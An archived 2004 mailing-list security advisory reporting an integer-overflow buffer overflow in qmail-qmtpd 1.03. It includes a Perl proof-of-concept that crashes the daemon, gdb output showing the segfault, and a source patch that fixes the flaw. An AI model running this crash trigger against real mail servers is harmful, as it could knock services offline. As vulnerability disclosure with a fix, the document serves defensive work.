lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
Open Source and information security mailing list archives
| ||
|
Message-ID: <20040303142520.GD1050@sivokote.iziade.m$> From: guninski at guninski.com (Georgi Guninski) Subject: Buffer overflow in qmail-qmtpd, yet still qmail much better than windows Georgi Guninski security advisory #67, 2004 Buffer overflow in qmail-qmtpd, yet still qmail much better than windows Systems affected: tested on qmail 1.03 on linux Risk: Low - not in default install and i can't exploit it Date: 3 March 2004 Legal Notice: This Advisory is Copyright (c) 2004 Georgi Guninski. You may distribute it unmodified. You may not modify it and distribute it or distribute parts of it without the author's written permission - this especially applies to so called "vulnerabilities databases" and securityfocus, microsoft, cert and mitre. If you want to link to this content use the URL: http://www.guninski.com/qmail-qmtpd.html Anything in this document may change without notice. Disclaimer: The information in this advisory is believed to be true though it may be false. The opinions expressed in this advisory and program are my own and not of any company. The usual standard disclaimer applies, especially the fact that Georgi Guninski is not liable for any damages caused by direct or indirect use of the information or functionality provided by this advisory or program. Georgi Guninski bears no responsibility for content or misuse of this advisory or program or any derivatives thereof. Description: there is a buffer overflow in qmail-qmtpd.c if the env. var. RELAYCLIENT is long between 4 and 1003. A static buffer gets overflowed due to integer overflow. I can't exploit it on linux, though it may turn exploitable. Details: Basically the idea is it is possible getlen() to return (unsigned long)-1 or -4 and then the check if (len + relayclientlen >= 1000) passes though len == (unsigned)-4. Then len is used to copy in a static buffer. The check for len is *before* len is updated, so it is possible to update len and then return len. A lot of memory gets overwritten including qq. if a C compiler sets ssin after buf, i believe it will be exploitable. The trick is that len = 10 * len + (ch - '0'); can return -1 if len == 0 and ch == '/' How to reproduce: -------------------------------------------------- [joro@...okote tmp]$ ./qma-qmtpd.pl qmail-qmtpd buffer overflow. Copyright Georgi Guninski Cannot be used in vulnerability databases and similar stuff <in another terminal> ps awx 2080 pts/9 S 0:00 /var/qmail/bin/qmail-qmtpd gdb attach 2080 cont <in first terminal hit enter> Program received signal SIGSEGV, Segmentation fault. 0x0804b096 in alarm () -------------------------------------------------- -qma-qmtpd.pl---- #!/usr/bin/perl -w #Copyright Georgi Guninski\nCannot be used in vulnerability databases and #similar stuff use IO::Socket; use IO::Poll; $ENV{"RELAYCLIENT"}="M\$UX"; open(SOCK,"|/var/qmail/bin/qmail-qmtpd"); my $req; my $fromaddr="they\@m\$.weenies"; my $touser="postmaster"; print "qmail-qmtpd buffer overflow. Copyright Georgi Guninski\nCannot be used in vulnerability databases and similar stuff\n"; $req = "1:\n,"; $req .= "1:V,"; $req .= "/:"; #biglen - this is how we code '-1' $req .= ",:"; #len - this is how we code '-4' print SOCK $req; my $ch=getc(); $req = "v" x 100000; print SOCK $req; close SOCK; ----------------- Fix: Patch by me, use at your own risk: -patch----- --- ../qmail-1.03/qmail-qmtpd.c 1998-06-15 13:53:16.000000000 +0300 +++ qmail-qmtpd.c 2004-02-29 16:15:13.000000000 +0200 @@ -45,8 +45,8 @@ for (;;) { substdio_get(&ssin,&ch,1); if (ch == ':') return len; - if (len > 200000000) resources(); len = 10 * len + (ch - '0'); + if (len > 200000000 || ch < '0' || ch > '9') resources(); } } @@ -193,8 +193,8 @@ substdio_get(&ssin,&ch,1); --biglen; if (ch == ':') break; - if (len > 200000000) resources(); len = 10 * len + (ch - '0'); + if (len > 200000000 || ch < '0' || ch > '9') resources(); } if (len >= biglen) badproto(); if (len + relayclientlen >= 1000) { ----------- Vendor status: djb is aware of the bug Georgi Guninski http://www.guninski.com
Powered by blists - more mailing lists